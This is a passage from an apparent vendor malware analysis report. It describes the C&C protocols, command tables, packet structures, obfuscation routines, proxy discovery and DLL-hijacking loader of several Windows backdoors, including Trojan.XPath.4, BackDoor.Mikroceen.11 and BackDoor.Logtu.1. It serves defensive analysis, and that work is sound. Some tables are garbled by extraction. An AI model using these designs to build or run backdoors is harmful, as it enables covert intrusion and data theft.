While working with the network driver, Trojan.XPath.4 does not actually listen to or receive connections on a port. Instead, the driver listens for traffic on the network interface and sends filtered packets to the trojan. As a result, the port, to which the trojan listens, is not shown as opened anywhere.

Trojan.XPath.4 checks the current day of the week and the time set in the system settings and compares their values with the data from the configuration file. In this file, there is flag for each hour of each day of the week, which inform the trojan if it should run at that specific time. If there is no flag for the current time, the malware will not receive any packets.

Trojan.XPath.4 waits for an incoming packet of 32 bytes. Next, it takes the first 4 bytes as an XOR key to decrypt the remaining 28 bytes. The decryption algorithm is shown in the picture below:
After decryption, it verifies bytes 4 through 12 and does not perform any further actions if these bytes match the string 1I2#aLeb. If this string is not present, the trojan attempts to decrypt the packet with the AES key instead of the XOR key. Next, the trojan verifies if the first 4 decrypted bytes match the string 7r#K. If there is no match, the trojan will determine an error has occurred, and all further packet processing will be stopped. But in case there is a match after decryption, this packet will have the following structure:

```c
#pragma pack(push,1)
struct st_packet_header
{
   _BYTE com_flag[4];
   _DWORD packed_size;
   _DWORD decomp_size;
   _DWORD cmdid;
   _BYTE pad[16];
};
#pragma pack(pop)
```

If the `packed_size` field has 32 value, and the `decomp_size` field has the value of 0, the trojan verifies if there is a tunnel to another bot created. If the tunnel exists, Trojan.XPath.4 redirects the command into it, so that the connected bot can execute it. If there is no tunnel, the trojan executes the command itself.
If the values of the field mentioned earlier are different from those the trojan expects, it will round off the size of the `packed_size` field to the larger value, multiple to 16, which represents the size of packet's payload. After that, it receives the rest of the data, decrypts it with one of two AES keys and unpacks it with the LZMA algorithm. Next, it verifies if the size of the unpacked data matches the size presented in the `decomp_size` field of the `st_packet_header` packet. If the site match is confirmed, Trojan.XPath.4 sends the received command into the tunnel or executes it on its own if the tunnel was not created.

**Operation in the Client Mode**

The trojan will run in this mode if the configuration file contains the C&C server address and the operation mode 3, which corresponds to the Client Mode, is specified. The malware sample analyzed has a 4 mode specified, which corresponds to the Agent Mode.

The trojan generates a random port number within the range of $10000 \leq \text{port\_number} \leq 65530$ and connects to it.

Next, it forms the following packet:

```c
#pragma pack(push,1)
struct st_hello
{
    _DWORD key;
    _BYTE magic[8]; // "112#aLeb
    _DWORD packet_id; // 0x00
    _DWORD dword14; // 0x00
    _WORD port;
    _BYTE byte16[10];
};
#pragma pack(pop)
```

In the `port` field it specifies the number of the previously generated port. Next, it takes the `GetTickCount()` value as an XOR key to decrypt the packet, and encrypts this value in its first 4 bytes. The trojan creates the socket, connects to the C&C server listed in the configuration file, sends the packet, and ends the connection. Upon receipt of this packet, the trojan driver will add IP:port from where the packet originates into the firewall exceptions.

Next, Trojan.XPath.4 connects to the same C&C server again, but this time, it uses the socket to which it was earlier connected through the random port. After that, Trojan.XPath.4 sends the packet `TOKEN_CLIENT_LOGIN` to the C&C server and waits for further commands (additional information about the commands is listed in the corresponding table of the Commands list section of this description). Reception and dispatch of the packets is executed in the same way as with the operation as a server (Agent (Server) Mode).
Packet dispatching

If the packet has any data, that data is packed with the LZMA algorithm. As a result, the following data structure is created:

- The header in a form of the `st_packet_header` structure (this structure is described in the “Operation in the Agent (Server) Mode” section):

```c
#pragma pack(push,1)
struct st_packet_header
{
    _BYTE com_flag[4];
    _DWORD packed_size;
    _DWORD decomp_size;
    _DWORD cmdid;
    _BYTE pad[16];
};
#pragma pack(pop)
```

- Compressed data

The resulting data, together with the header, is compressed with the first AES key and sent to the addressee. The only packet not compressed and encrypted with the AES key is the `st_hello` packet.

Commands list

<table>
<thead>
<tr>
<th>Commands IDs</th>
<th>Name of the command</th>
<th>Resulting action</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x138A</td>
<td>AGENT_SERVER_ALIVE</td>
<td>Confirms the Agent-server operation</td>
</tr>
<tr>
<td>0x138D</td>
<td>AGENT_CLIENT_NEW_CONN</td>
<td>Allocates additional socket or execute the command stored in the packet's data</td>
</tr>
<tr>
<td>0x138E</td>
<td>COMMAND_SERVER_ALIVE</td>
<td>Enables additional connection with the Agent-server and executes the command</td>
</tr>
<tr>
<td>0x4E21</td>
<td>COMMAND_SERVER_ALIVE</td>
<td>Confirms the C&amp;C server operation</td>
</tr>
<tr>
<td>Code</td>
<td>Command</td>
<td>Description</td>
</tr>
<tr>
<td>---------</td>
<td>-----------------------------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>0x4E22</td>
<td>COMMAND_SERVER_CONNECT</td>
<td>Sends the command to establish the connection with the C&amp;C server</td>
</tr>
<tr>
<td>0x4E24</td>
<td>COMMAND_SERVER_NOTIFY_CLIENT</td>
<td>Establishes an additional connection with the C&amp;C server and executes the command</td>
</tr>
<tr>
<td>0x4E25</td>
<td></td>
<td>Ends the connection</td>
</tr>
<tr>
<td>0x4E26</td>
<td></td>
<td>Updates the trojan driver and the modules</td>
</tr>
<tr>
<td>0x4E27</td>
<td></td>
<td>A command for the trojan to uninstall itself</td>
</tr>
<tr>
<td>0x4E28</td>
<td>COMMAND_SERVER_READY</td>
<td>Checks if the server is ready</td>
</tr>
<tr>
<td>0x4E2A</td>
<td></td>
<td>Ends the trojan process</td>
</tr>
<tr>
<td>0x4E34</td>
<td></td>
<td>Forces the computer to shutdown</td>
</tr>
<tr>
<td>0x4E35</td>
<td></td>
<td>Forces log out from the user’s computer account</td>
</tr>
<tr>
<td>0x4E36</td>
<td></td>
<td>Forces the computer to reboot</td>
</tr>
<tr>
<td>0x4E37</td>
<td></td>
<td>Powers off the computer</td>
</tr>
<tr>
<td>0x4E38</td>
<td></td>
<td>Forces log out from the user’s computer account</td>
</tr>
<tr>
<td>0x4E39</td>
<td></td>
<td>Reboots the computer</td>
</tr>
<tr>
<td>0x5014</td>
<td>COMMAND_SHELL_START</td>
<td>Runs the Shell</td>
</tr>
<tr>
<td>0x5015</td>
<td>COMMAND_CMDDLG_OPENED</td>
<td>Starts reading the data from the Shell</td>
</tr>
<tr>
<td>0x5016</td>
<td></td>
<td>Sends the data to the Shell</td>
</tr>
<tr>
<td>0x5017</td>
<td>COMMAND_SHELL_EXIT</td>
<td>Closes the Shell</td>
</tr>
<tr>
<td>0x5078</td>
<td>COMMAND_TUNNEL_START</td>
<td>Launches the plug-in creating the tunnel</td>
</tr>
<tr>
<td>0x5079</td>
<td></td>
<td>Sends the data to the C&amp;C server that has a connected tunnel</td>
</tr>
<tr>
<td>Code</td>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>-----------------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>0x507A</td>
<td>Sets the C&amp;C server address to which the tunnel will be created</td>
<td></td>
</tr>
<tr>
<td>0x507B</td>
<td><strong>COMMAND_TUNNEL_NEW_CONNECTION</strong> Creates the tunnel to the specified C&amp;C server</td>
<td></td>
</tr>
<tr>
<td>0x507C</td>
<td>Receives NetBios name of the specified IP address</td>
<td></td>
</tr>
<tr>
<td>0x5082</td>
<td><strong>COMMAND_TUNNEL_EXIT</strong> Disables the tunnel</td>
<td></td>
</tr>
<tr>
<td>0x5E30</td>
<td><strong>COMMAND_FILE_START</strong> Runs file manager</td>
<td></td>
</tr>
<tr>
<td>0x5E31</td>
<td>Directory listing</td>
<td></td>
</tr>
<tr>
<td>0x5E32</td>
<td>Reads the file from the specified offset</td>
<td></td>
</tr>
<tr>
<td>0x5E33</td>
<td>Creates the file</td>
<td></td>
</tr>
<tr>
<td>0x5E34</td>
<td>Writes into the file from the specified offset</td>
<td></td>
</tr>
<tr>
<td>0x5E36</td>
<td>Reads the file from the specified offset</td>
<td></td>
</tr>
<tr>
<td>0x5E37</td>
<td>Transfers an empty packet with the 0x98BC code to the C&amp;C server</td>
<td></td>
</tr>
<tr>
<td>0x5E38</td>
<td>Deletes the specified file</td>
<td></td>
</tr>
<tr>
<td>0x5E39</td>
<td>Recursively deletes the specified directory or files</td>
<td></td>
</tr>
<tr>
<td>0x5E40</td>
<td>Obtains the file size</td>
<td></td>
</tr>
<tr>
<td>0x5E41</td>
<td>Creates the folder</td>
<td></td>
</tr>
<tr>
<td>0x5E42</td>
<td>Moves the file</td>
<td></td>
</tr>
<tr>
<td>0x5E43</td>
<td>Runs the file with the window</td>
<td></td>
</tr>
<tr>
<td>0x5E44</td>
<td>Runs the file without a window</td>
<td></td>
</tr>
<tr>
<td>0x5E45</td>
<td>Ignored</td>
<td></td>
</tr>
<tr>
<td>0x5E46</td>
<td>Ignored</td>
<td></td>
</tr>
<tr>
<td>0x5E47</td>
<td>Receives the data about the file (creation and modification time,</td>
<td></td>
</tr>
<tr>
<td>0x5E49</td>
<td>Sets file attributes specified in the command</td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>-----------------------------------------</td>
<td></td>
</tr>
<tr>
<td>0x5E51</td>
<td>Disables the file manager</td>
<td></td>
</tr>
<tr>
<td>0x5E52</td>
<td>Recursively lists the specified directory</td>
<td></td>
</tr>
<tr>
<td>0x891C</td>
<td>TOKEN_CLIENT_LOGIN Client authorization on the server</td>
<td></td>
</tr>
<tr>
<td>0xEA66</td>
<td>PUBLIC_ACTIVE Set public_active flag</td>
<td></td>
</tr>
</tbody>
</table>

**Artifacts**

The trojan file contains traces of debugging information that reveals the names of the following source code files:

```
..\common\LzmaLib.c
z:\desk_codes\project_xpath\xpath\ringqueue.h
z:\desk_codes\project_xpath\xpath\untils.h
z:\desk_codes\project_xpath\xpath\ShellManager.h
z:\desk_codes\project_xpath\xpath\file.h
z:\desk_codes\project_xpath\xpath\tunnel.h
z:\desk_codes\project_xpath\xpath\network.h
z:\desk_codes\project_xpath\xpath\clientmode.h
XPathMain.c
cyclone_tcp\core\bsd_socket.c
```

The original functions names:

- SendClientMagic
- FindPluginData
- DeCompressData
- GetSockInfo nocase
- StartShell
- UnInitShell
- UnInitFileManager
- recv_pack2
- x_gethostbyname
- OutputData
tcpF
- WorkThread
- alloc_new_si
- x_decompress

The original commands names:
Various debugging messages:

get conf,agent:%d,client:%d,interval:%d,listen1:%d,addr1:%s:%d 

os init:%d-%d-%d bGetConfig:%d %d\tver:%10d

ver:%d remote:%d listen:%d

x_decompress bad in tcpR,socket:%d token:%d len:%d,target len:%d,%d

dir: %ws,%ws,%ws,%d,%d,%d

file: %ws,%ws,%ws,%d,%d,%d

tunnel connect error:%x--%d,%d,%d

init get ip:%s,%s,%s,%02x-%02x-%02x-%02x-%02x-%02x,%s

ready accept port of client to agent:%d,local: %x--%d

stack set ip:%s mask:%s gw:%s

baidu tx_web%d

stack add ip:%s mask:%s gw:%s

agent must with driver\n
current if:%d\n
the connect thread is ending.....\n
the sub connect thread is ending.....\n
listen thread1 out\n
client unknown token %d\n
errorrrrrrrrrrrrrrrrr:%d,%d,%d

tcp reverse decrypt error\n
tcp reverse com flag error\n
%04d %02d %02d-%02d:%02d:%02d:

update alloc memory false\n
update depack false,%d,%d,%d

create update driver error\n
alloc driver memory error,%d

depack driver error\n
write driver error\n
client type wrong:%d,%d,%d

---

**BackDoor.Mikroceen.11**

BackDoor.Mikroceen.11 is a backdoor written in C++ and designed for 64-bit versions of the Microsoft Windows operating systems. Upon installing, it connects to the C&C server directly
or using the proxy server and begins executing attackers’ commands. It can collect information about the infected computer and execute commands, redirecting the output of the command shell to the control server. In both investigated campaigns, it has been installed on the domain controller.

Operating routine

The backdoor file represents a dynamic library with the single NwsapServiceMain export function. The sample in question was installed on the system as a service and located in the \c:\windows\system32\nwsapagent.dll directory.

During the operation, it maintains an event log, which is stored in the %TEMP%\WZ9Jan10.TMP file. The messages in this log are obfuscated, and their possible variants are shown below:

- WvSa6a7i — launch of the trojan;
- Dfi1r5eJ — direct connection to the C&C server;
- PVrVoGx0 — connection to C&C server through previously defined proxy server;
- Q29uUHJv — connection error;
- 10RDu6mf — proxy server connection error;
- 8sQqvdeX:%d — an error receiving the data from the C&C server;
- Lw3s1gMZ — proxy server connection error;
- IsEArF1k — successful connection;
- CcFMGQb8 %s:%d — connection to the proxy server, recorded in the netlogon.cfg;
- RWehGde0 %s:%d — connection to the proxy server, received through the WZ9Jan10.TMP file parsing;
- PV2arRyn %s:%d — connection to the proxy server, found through the tcptable;
- W560rQz5 — SSL connection establishing.

All the relevant data, such as the C&C server address, is encrypted with a simple addition operation of the value with each byte of the string. The decrypting fragment is shown below:

```c
for ( i = 0; i < lstrlenA(v4); ++i )
    v4[i] += 32 - i;
```

BackDoor.Mikroceen.11 tries to directly connect to the C&C server. If failed, it tries to connect through the proxy server.

The connection is established when the trojan knows the proxy server address. Otherwise, it reads the %WINDIR%\debug\netlogon.cfg file, which must contain the IP:port line.

If the netlogon.cfg file is missing, or the trojan failed to connect to the address listed in it, the trojan reads the line from its own log file and parses IP:port from it.
If there is no connection, the trojan parses information about current connections and searches the connection with the `MIB_TCP_STATE_ESTAB` status and the following ports of the remote host: 80, 8080, 3128, 9080. Among the selected connections, it searches for the IP address from the following subnets: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16. The suitable address found is used as a proxy server address.

After successfully connecting, the trojan collects information about the infected system and fills the following structure:

```c
#pragma pack(push, 1)
struct st_info
{
    _WORD osproducttype;
    _WORD processorarch;
    _DWORD osservicepackmajor;
    _DWORD osvermajor;
    _DWORD osverminor;
    _DWORD default_lcid;
    _DWORD dword30001; // 30001
    char id[16]; // "wsx"
    char ip[16];
    char hostname[32];
};
#pragma pack(pop)
```

BackDoor.Mikroceen.11 sends this information to the C&C server and waits for the reply. When exchanging commands, the text protocol is used, and the names of the commands are obfuscated. The list of commands is shown in the table below.

<table>
<thead>
<tr>
<th>The command</th>
<th>An argument</th>
<th>The description</th>
<th>The reply</th>
</tr>
</thead>
<tbody>
<tr>
<td>QHbU0hQo (file manager command)</td>
<td></td>
<td>Reads the file</td>
<td>First QWORD is the file size; next goes the file that was read with the 1024 bytes blocks</td>
</tr>
</tbody>
</table>

| Ki0Swb7I                  |               | Gets information about logical disks                       | A structure with the information about the disks, but not larger than 1024 bytes. |

```c
#pragma pack(push, 1)
struct st_drive_info
{
    char cmdid[9]; // "fqbnWkSA"
    _WORD disks_count;
};
```
<table>
<thead>
<tr>
<th><strong>The command</strong></th>
<th><strong>An argument</strong></th>
<th><strong>The description</strong></th>
<th><strong>The reply</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>J8AoctiB</td>
<td>string — is a command; string — is a path to the file to read; string — is a path to the file to write</td>
<td>Launches the file manager</td>
<td></td>
</tr>
<tr>
<td>hwuvE43y (file manager command)</td>
<td>QWORD — is a file size; BYTE[]— is the data to be written into the file</td>
<td>Writes to the file</td>
<td>QWORD — the file size if the latter already exists</td>
</tr>
<tr>
<td>h71RBG8X</td>
<td>string — is a command</td>
<td>Executes the command within the command shell; exit — closes the command shell</td>
<td></td>
</tr>
<tr>
<td>gRQ7mIYr</td>
<td>string — is a path to the file</td>
<td>Runs a file with CreateProcessA</td>
<td>4FJTUAUX if successful KbZ5piK8 if failed</td>
</tr>
<tr>
<td>eYTS5IwW</td>
<td></td>
<td>Ends the command shell process</td>
<td>bo7a08Nb (if command shell was not launched)</td>
</tr>
<tr>
<td>AmbZDkEx</td>
<td>string — is a password</td>
<td>The beginning of the exchange</td>
<td>kjoM4yJg (if the argument matches the line encoded into the file (“12345“)) Mf7VLAnr (in all other cases)</td>
</tr>
<tr>
<td>5fdi2TfG</td>
<td></td>
<td>Launches a command shell, redirecting the output to the server</td>
<td></td>
</tr>
</tbody>
</table>
**BackDoor.Logtu.1**

A multifunctional backdoor trojan for 32-bit and 64-bit Microsoft Windows operating systems. It represents an executable library written in C++. It uses vector classes and strings from the STL library (Standard Template Library). The main function of the trojan is to obtain unauthorized access to infected computers and perform malicious actions at attackers’ commands.

**Operating routine**

The library contains the following exporting functions:

- ServiceMain
- mymain

The **mymain** carries the main functionality of the trojan.

**mymain function**

When called, this function uses `GetTempFileNameW` to generate the name of the temporary file with the .rar prefix and opens it for writing. This file is used as a journal. Writing to the journal is performed in the following format:

```
[%d-%02d-%02d %02d:%02d:%02d] %d %d
%s

" => 
[YYYY-MM-DD HH:MM:SS] <rec_id> 
<error_code>
<record>
```

where:

- **rec_id** — is a record type ID;
- **error_code** — error code (in most cases, it has a 0 value); if an error occurs during execution, the `GetLastError()` or `WSAGetLastError()` value is written;
- **record** — additional data.

Before it is added to the journal, the written data is encoded with the XOR operation, using the 0x31 byte. The **rec_id** table of ID values is listed at the end of this description.

Next, the trojan collects the following information about the infected system:

```c
struct sysinfo
{
    DWORD dword_0;
    DWORD is_VMWare;
    WCHAR str_test[8]; //возможно ID
    DWORD dword_1;
    BYTE user_name[64];
}```
It then checks that the library runs inside the VMWare virtual machine environment. If it detects a virtual machine, the corresponding information is added to the collected system data, while the trojan continues to run.

There is a list of several C&C server addresses encoded inside the source code of the BackDoor.Logtu.1. They are encrypted with the XOR, using the 0x11 byte. However, only the first address from that list is used to control the backdoor:

- 104.194.215[.]199;
- 192.168.1[.]115;
- www[.]test[.]com.

Moreover, the trojan stores an array of ports within which each element corresponds to one of the servers above: 443, 443, 80.

BackDoor.Logtu.1 has an option to use a proxy server, but the analyzed sample lacks such an address. If the proxy server address is present, it is also encoded byte by byte with the XOR operation, using the 0x11 byte.

After the initial preparation, the trojan launches the cycle of connections to the C&C server through the TCP socket. Within the first connection, BackDoor.Logtu.1 tries to directly connect to the server. If it fails, it uses an HTTP proxy server if its address is encoded into the body of the trojan. If it wasn't successful, the trojan extracts the proxy server parameters.
from the [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer] registry key and tries to establish the connection. In case of another failure, the backdoor tries to obtain the proxy server information through the WinHTTP API, sending the google[.]com request via the WinHttpGetProxyForUrl function. If this attempt has also failed, BackDoor.Logtu.1 tries to extract the corresponding settings from the HKU<session_user_SID>...\ProxyServer registry key. This cycle repeats until the trojan is successfully connected to the server.

After successfully connecting, BackDoor.Logtu.1 sends the information about the infected system to the server. The data transfer and response receipt is divided into two stages:

1. Sending the packet with the length of the payload,
2. Sending the payload itself.

The value of the packet with the length of 4 bytes equals <payload_len>+4. This is because the packet with the payload contains a 4 bytes prefix, which in turn, contains the payload ID. Consequently, the payload has the format as shown below:

```
struct payload
{
    DWORD payload_id;
    BYTE payload[payload_len];
}
```

The data transferred from the trojan to the server, as well as its response, are encrypted with the RC4 algorithm. The encryption key is stored inside the trojan body as a separate string, but calculates using the following algorithm:

```
from hashlib import md5
password = "123456"
salt = md5('').hexdigest()
key = md5(password + salt).hexdigest()
```

The ID of the packet with the system information has a value of 0.
After the system information is sent and the trojan receives the response from the server, it launches a thread that sends heartbeats every minute. Their ID has a value of 1 and the payload length has a value of 0. After 10 packets are sent, the server connection closes and reestablishes again.

The backdoor waits for the server reply with the packet with the length value that should not exceed 0x1F40. Next, it waits for the packet itself, which contains the command as a payload. After this packet is decrypted, it checks the value of the first DWORD, which is the command ID. The ID value should not exceed 0x34.

In some cases, the command contains additional parameters presented in the form of the strings split with the | symbol. The structure of this command has the form of the "param_0"|"param_1"|...|"param_n".

The list of commands that the trojan can receive and execute is shown in the table below.

<table>
<thead>
<tr>
<th>Command ID</th>
<th>Command description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>NOP</td>
</tr>
<tr>
<td>0x01</td>
<td>Calls GetTickCount(), writes the result into the global variable.</td>
</tr>
</tbody>
</table>
| 0x02       | In this command, two parameters separated with the | symbol, are received. The first one is the path to the file. The trojan uses it to form two new paths:  
  - <param_0>.tu  
  - <param_0>.tut |
Next, the trojan checks if the file with the original name, specified in the command, exists. If it exists, the trojan sends the response `<param_1>|01` to the server. If it does not exist, it checks if the `<param_0>.tu` is present. If this file exists, the trojan sends its size as a `<param_1>|<size>`.

If the `<param_0>.tu` file does not exist, the trojan creates the file `<param_0>tut`, writes the string, which consists of 32 zeros, into it and deletes the file.

Depending on the command execution results, the trojan can send various types of responses to the server. In cases of failure at any given step of the command execution, the trojan sends `<param_1>|<code>`, where `<code>` can have a value from 01 to 05.

<table>
<thead>
<tr>
<th>Command Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x03</td>
<td>Creates an application process with the <code>&lt;param_0&gt;</code> name and <code>&lt;param_1&gt;</code> command line parameters.</td>
</tr>
<tr>
<td>0x04</td>
<td>Runs a separate thread that lists the processes and sends the information about them to the C&amp;C server one by one. Before the listing, the packet with the 0x17 ID and a DWORD 0x47 payload is sent to the server. It is sent as follows:</td>
</tr>
</tbody>
</table>
|              | ```
|              | struct process_info
|              | { |
|              | WCHAR proc_name[30]; |
|              | DWORD PID; |
|              | DWORD parent_PID; |
|              | WCHAR self_module_path[260] |
|              | } |
|              | Herewith, `self_module_path` is only sent when the process is running in the WOW64 environment. Otherwise, this string is filled with 0 values. |
| 0x05         | Launches the cmd.exe thread. It creates the cmd.exe process with the input-output redirection into the pipes. After the process is created, it sends a packet with the 0x17 ID and a 0x3D payload in case of a successful connection, or 0x3E in case of a failure. Herewith, the trojan receives the input parameters of the command line from the message using the `GetMessage` function. The results are sent with the 0x06 ID. |
| 0x06         | Input of the parameters for the cmd.exe. Using `PostThreadMessage`, it sends the message 0x464 to the cmd.exe thread and puts the data from the command into lParam. |
| 0x08         | Ends the connection, sending a packet with the 0x17 packet ID and a DWORD 0x3E payload prior, then deletes its service and executable file. |
| 0x09         | Opens the file for writing from the end and writes the buffer received in the command into it. Command’s parameters: |
|              | • param_0 — name of the file; |
|              | • param_1 — unknown value; |
|              | • param_2 — buffer size; |
- **param_3** — special flag; if it equals 1, then the file must be moved;
- **param_4** — a buffer for a writing.

It adds a .tu extension to **param_0**, opens (or creates) the resulting file for writing, places the pointer to the end of the file and writes a **param_4** buffer.

If **param_3** equals 1, then it deletes the **param_0** file and renames the file `<param_0>.tu` into **param_0**.

<table>
<thead>
<tr>
<th>Code (Hex)</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x14</td>
<td>Gets the size of the file specified in the command.</td>
</tr>
<tr>
<td>0x15</td>
<td>Reads the 0x1000 bytes from the <strong>param_0</strong> file, starting with <strong>param_2</strong>, and sends the results with the 0x15 ID to the server.</td>
</tr>
<tr>
<td>0x16</td>
<td>Deletes the specified file. If successful, it sends a packet with the 0x17 ID and a DWORD 0x1F payload to the server; in case of an error, a packet with the 0x20 ID is sent instead.</td>
</tr>
<tr>
<td>0x17</td>
<td>If the first DWORD of the command’s body equals 1, the trojan goes to sleep for 1 second; if it equals 2, the trojan closes the file handle.</td>
</tr>
<tr>
<td>0x18</td>
<td>Ends the process with PID specified in the command. In return, the C&amp;C server sends the packet with the 0x17 ID. If successful, DWORD 0x0B is sent along with this ID. If failed, 0x0C will be sent.</td>
</tr>
<tr>
<td>0x19</td>
<td>Gets information about disks. Upon receiving this command, the trojan checks all the disks available from the letter A to the Z and sends information about each of them to the C&amp;C server. The disk information is sent as a the following structure:</td>
</tr>
</tbody>
</table>

```c
struct disk_info
{
    DWORD root_path;
    DWORD dword_0;
    DWORD type;
    DWORD dword_1;
    DWORD cdrom_or_removable;
}
```

Herewith, if the disk found has a DRIVE_REMOVABLE type or a DRIVE_CDROM type, the trojan indicates the value 1 in the cdrom_or_removable parameter.

Prior to listing the disks, the trojan sends the disk_info structure with the dword_1 value, which equals 1, as well as other parameters, which are equal to 0.

<table>
<thead>
<tr>
<th>Code (Hex)</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x20</td>
<td>Gets the file list in the specified folder. The list is formed as lines of the <code>&lt;file_name&gt;;&lt;file_size&gt;;&lt;last_write_time(YYYY-MM-DD hh:mm:ss)&gt;;&lt;is_dir&gt;</code> format, which are separated by the `</td>
</tr>
</tbody>
</table>

If the object represents the directory, the `<is_dir>` value is indicated as 1; if the object represents a file, the 0 value is indicated.
<table>
<thead>
<tr>
<th>Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x22</td>
<td>Creates the TCP tunnel. This command has the host parameters to connect to. The parameters come as the following structure:</td>
</tr>
</tbody>
</table>
|       | ```
|       | struct tunnel_host |
|       | {             |
|       | WORD index;    |
|       | char hostname[66]; |
|       | DWORD port;    |
|       | }             |
|       | Where index is the tunnel index. |
|       | After connecting to the host, the trojan receives a block with the size of 0x400 bytes and sends it to the C&C server as the following structure: |
|       | ```
|       | struct tunnel_data |
|       | {             |
|       | WORD index;    |
|       | char buffer[]; |
|       | }             |
|       | After the last block is sent, the trojan sends the index with the 0x24 ID. |
| 0x23  | Sends the data to the tunnel. The C&C server sends the structure `tunnel_data`, and the trojan sends the data into the tunnel with the `tunnel_data.index` index. |
| 0x24  | This command contains tunnel index that needs to be closed. |
| 0x25  | This command contains the structure `tunnel_host`. The trojan creates a TCP socket, binds the port to `tunnel_host.port`, and awaits for the incoming connection. |
|       | Upon receiving the incoming connection, the trojan sends a zero-length packet without a payload and 0x25 to the C&C server. After that, it receives the data from the new connection, along with the 0x26 ID and sends them to the C&C server. |
| 0x26  | The command contains a `tunnel_data` structure. Upon receiving this command, the trojan sends the data to the connection it received in the 0x25 command. |
| 0x28  | Ends the thread sending the heartbeats. |
| 0x29  | Moves the file from `param_0` to the `param_1`. |
| 0x31  | Creates a desktop screenshot. |
| 0x33  | Gets the list of running services as strings `<service_name>`;<`service_display_name`>;`<current_state>`, separated with the | symbol. |
| 0x34  | Services management command. |
|       | If `param_0` has a 0 value, the trojan stops the `param_1` service. |
If param_0 has a 1 value, the trojan launches the param_1 service.

Upon receiving the command with the 0x17 ID, the trojan closes the file handler, which is stored in the global variable. This file is used only twice: once upon receiving the command, specified earlier, and once in the journal writing function.

File handler closing:

```
.text:10005161 push hfile ; hObject
.text:10005167 call ds:CloseHandle
.text:1000516D jmp def_10004C95 ; jumptable
```

Writing to the journal (logging):

```
.text:10005C6D
.text:10005C6D loc_10005C6D: ; lpOverlapped
.text:10005C6D push 0
.text:10005C6F lea eax, [ebp+NumberOfWorkers]
.text:10005C75 push eax ; lpNumberOfBytesWritten
.text:10005C76 push edx ; nNumberOfBytesToWrite
.text:10005C77 lea eax, [ebp+Buffer]
.text:10005C7D push eax ; lpBuffer
.text:10005C7E push hTempRarFile ; hFile
.text:10005C84 call ds:WriteFile
.text:10005C8A test eax, eax
.text:10005C8C jz short loc_10005C9A
```

```
.text:10005C8E push hfile ; hFile
.text:10005C94 call ds:FlushFileBuffers
```

### Table of the identifiers of the log entries types

<table>
<thead>
<tr>
<th>rec_id</th>
<th>identifier</th>
<th>Error code</th>
<th>Log entry type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x01</td>
<td></td>
<td>0</td>
<td>No entry</td>
<td>Written at the beginning of the execution</td>
</tr>
<tr>
<td>0x0E</td>
<td></td>
<td>0</td>
<td>The name of the C&amp;C server</td>
<td></td>
</tr>
<tr>
<td>0x0F</td>
<td>WSAGetLastError()</td>
<td>No entry</td>
<td>Added upon C&amp;C server connection error</td>
<td></td>
</tr>
<tr>
<td>0x07</td>
<td></td>
<td>0</td>
<td>Proxy server name</td>
<td></td>
</tr>
<tr>
<td>Offset</td>
<td>Value</td>
<td>Function</td>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>-------</td>
<td>------------------</td>
<td>-----------------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>0x08</td>
<td>0</td>
<td>GetLastError()</td>
<td>No entry</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Added before connecting to the proxy server</td>
<td></td>
</tr>
<tr>
<td>0x09</td>
<td>GetLastError()</td>
<td>No entry</td>
<td>Added upon proxy server connection failure</td>
<td></td>
</tr>
</tbody>
</table>
| 0x0A   | 0     |                  | CONNECT <proxy_addr>:<proxy_port> HTTP/1.1
Proxy -Authorization: Basic <proxy_auth>
or CONNECT <proxy_addr>:<proxy_port> HTTP/1.1
, if proxy server authorization parameters are missing |
|        |       |                  | HTTP-proxy connection string                                                |
| 0x0B   | GetLastError() | No entry | Added if there is a proxy server connection error                           |
| 0x0C   | GetLastError() | No entry | Added upon receiving an empty reply from a proxy server                     |
| 0x0D   | 0     | Proxy server response | Added upon successfully connecting to the proxy server                      |
| 0x05   | GetLastError() | No entry | Added when a HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings registry key opening failed |
| 0x06   | 0     | A not find proxy address string which is encoded inside the body of the trojan. | Added if ProxyServer registry parameter value receiving failed               |
### Trojan.Mirage.1

Trojan.Mirage.1 is a multi-component backdoor trojan designed for Windows 32-bit operating systems. It is used for unauthorized control of infected computers and accessing information stored on them. The infection is implemented through a loader injection into the valid running system process. The payload unpacking and arbitrary code execution is done on the infected computer’s RAM.

#### Operating routine

Trojan.Mirage.1 has the following file suite:

- **WmiPrvServer.exe** — file with a valid HP digital signature:

  ```
  CN=Hewlett-Packard Company
  OU=Hewlett-Packard Company
  ```
• rapi.dll — the loader. It loads on the WmiPrvServer.exe process using the DLL Hijacking method,

• cmdl32.dat — the encrypted shell code with the payload,

• config.dat — the encrypted configuration.

Rapi.dll loader module

The loader module is injected into the WmiPrvServer.exe process using the DLL Hijacking. The program receives the GetProcAddress function address through the PEB (Process Environment Block) structure by comparing the strings. After that it receives the addresses of the necessary imported functions:

• LoadLibraryA
• GetModuleFileNameA
• VirtualAlloc
• CloseHandle
• CreateFileA
• GetFileSize
• ReadFile

Next, the cmdl32.dat file, located in the same directory from where the parent process of the trojan was launched, is read. The loader decrypts the file using the XOR operation with the 0x88 byte and jumps to the decrypted buffer using the JMP instruction.
The encrypted shellcode cmdl32.dat

At the start, the shellcode calculates the size of the payload. The beginning of the payload is found through the call of the last shellcode function, and its end is determined by the 0xDDCCBBAA signature.
Next, the program receives the list of necessary imported functions. Through the PEB structure, the trojan locates the `GetProcAddress` function, which it instantly uses to get the `LoadLibraryA` function address. The search for the rest of the imports is done through these two functions.

- `strcmp`
- `memcpy`
- `VirtualAlloc`
